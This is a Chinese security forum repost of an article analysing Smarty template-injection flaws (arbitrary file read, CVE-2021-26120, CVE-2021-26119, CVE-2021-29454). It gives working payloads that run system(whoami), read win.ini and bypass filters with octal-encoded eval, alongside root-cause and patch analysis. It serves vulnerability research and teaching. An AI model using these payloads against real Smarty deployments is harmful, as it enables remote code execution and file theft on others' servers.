安全矩阵

 找回密码
 立即注册
搜索
查看: 1559|回复: 0

Smarty 最新 SSTI 总结

[复制链接]

181

主题

182

帖子

721

积分

高级会员

Rank: 4

积分
721
发表于 2022-6-24 23:45:15 | 显示全部楼层 |阅读模式
本帖最后由 wangqiang 于 2022-6-24 23:48 编辑

Smarty 最新 SSTI 总结
阿巴阿巴  衡阳信安
2022-06-24 07:00 发表于山东
转载地址:Smarty 最新 SSTI 总结

前言
本文章将对 Smarty 最新的漏洞做一下简单的分析与总结

Smarty 简介
在开始介绍 Smarty 之前先了解一下模板引擎,模板引擎是为了让前端界面(html)与程序代码(php)分离而产生的一种解决方案,简单来说就是 html 文件
里再也不用写 php 代码了。Smarty 的原理是变量替换原则,我们只需要在 html 文件里写好 Smarty 的标签即可,例如 {name},然后调用 Smarty 的方法传递变量参数即可。

环境搭建
文章使用的 Smarty 版本根据漏洞而定,下载链接:Smarty github ,容器是 Windows 10 下的 phpstudy,php 版本是 7.3.4,安装很简单,下载源码
解压后引入 Smarty.class.php 即可,如下所示,环境搭建相关的详细内容参见:搭建详情

开始复现任意文件读取
  • POC:
    1. string:{include file='C:/Windows/win.ini'}
    复制代码

  • 漏洞原因:{include} 标签所导致,被该标签引入的文件只会单纯的输出文件内容,就算引入 php 文件也是如此
  • 版本限制:无

引入普通文件:

引入 php 文件:

通过 templates_c 目录的模板编译文件可以看到为什么引入 php 文件只能输出内容,Smarty 会使用正则表达式去匹配 ,匹配到之后会使用单引号包裹。


CVE-2021-26120
  • POC:
    1. string:{function name='x(){};system(whoami);function '}{/function}
    复制代码

  • 漏洞原因:{function} 标签的 name 属性可以通过精心构造注入恶意代码
  • 版本限制:在 3.1.39 版本修复,所以小于 3.1.39 能用

测试效果


查看 templates_c 目录下生成的模板编译文件

导致漏洞的代码在 libs/sysplugins/smarty_internal_compile_function.php#Smarty_Internal_Compile_Function->compile()

查看 3.1.39 版本修复之后的代码,可以看到增加了正则限制 name 的内容,此时就无法注入恶意代码了

CVE-2021-26119
  • POC:
    1. string:{$smarty.template_object->smarty->_getSmartyObj()->display('string:{system(whoami)}')}
    2. string:{$smarty.template_object->smarty->enableSecurity()->display('string:{system(whoami)}')}
    3. string:{$smarty.template_object->smarty->disableSecurity()->display('string:{system(whoami)}')}
    4. string:{$smarty.template_object->smarty->addTemplateDir('./x')->display('string:{system(whoami)}')}
    5. string:{$smarty.template_object->smarty->setTemplateDir('./x')->display('string:{system(whoami)}')}
    6. string:{$smarty.template_object->smarty->addPluginsDir('./x')->display('string:{system(whoami)}')}
    7. string:{$smarty.template_object->smarty->setPluginsDir('./x')->display('string:{system(whoami)}')}
    8. string:{$smarty.template_object->smarty->setCompileDir('./x')->display('string:{system(whoami)}')}
    9. string:{$smarty.template_object->smarty->setCacheDir('./x')->display('string:{system(whoami)}')}
    复制代码

  • 漏洞原因:可以通过 {$smarty.template_object} 访问到 smarty 对象所导致
  • 版本限制:这个漏洞还没有被修复,我试过最新版本 4.1.0 跟 3.1.44 都能注入恶意代码

测试效果

简单分析一下,触发漏洞之后,在 templates_c 目录下会生成两个模板编译文件,我们在第二个文件处执行 whoami 的位置下断点调试
第一个文件:

第二个文件:

可以看到第一次调用了第一个文件的函数 content_62405bd45e06b5_71225150

第二次调用了第二个文件的函数 content_62405bd5572234_18969587,然后执行到恶意代码

为什么不直接传入 POC:string:{system(whoami)} 到 $_POST['data'],而是要以上述这种方式,简单做一下演示就明白了。1.php 和 2.php 用于演示
1.php:
  1. <?phpinclude_once('./libs/Smarty.class.php');$smarty = new Smarty();$smarty->_getSmartyObj()->display('string:{system(whoami)}');?>
复制代码
2.php:
  1. <?phpinclude_once('./libs/Smarty.class.php');$smarty = new Smarty();$smarty->display('string{system(whoami)}');?>
复制代码
然后用 burpsuite 访问这两个文件,你会发现 1.php 成功执行 whoami,而 2.php 却出现了报错,这里不做深究,如果感兴趣的话可以自己进行调试分析,
通过简单的演示我们知道了 1.php 的写法可以注入恶意代码到模板编译文件


CVE-2021-29454
  • POC:
    1. eval:{math equation='("\163\171\163\164\145\155")("\167\150\157\141\155\151")'}
    复制代码

  • 漏洞原因:libs/plugins/function.math.php 中的 smarty_function_math 执行了 eval(),而 eval() 的数据可以通过 8 进制数字绕过正则表达式
  • 版本限制:在 3.1.42 和 4.0.2 中修复,小于这两个版本可用

php 的 eval() 支持传入 8 或 16 进制数据,以下代码在 php7 版本都可以顺利执行,由于 php5 不支持 (system)(whoami); 这种方式执行代码,所以 php5 的 8 进制方式用不了:
  1. eval('("\163\171\163\164\145\155")("\167\150\157\141\155\151");');eval("\x73\x79\x73\x74\x65\x6d\x28\x77\x68\x6f\x61\x6d\x69\x29\x3b");
复制代码
测试效果:

漏洞代码位置 libs/plugins/function.math.php

将版本修改为 3.1.42 然后调试,可以看到新增了正则判断修复了漏洞

参考资料
http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=smarty
https://www.smarty.net/docs/en/
来源:先知(https://xz.aliyun.com/t/11108)




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-28 21:19 , Processed in 0.012699 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表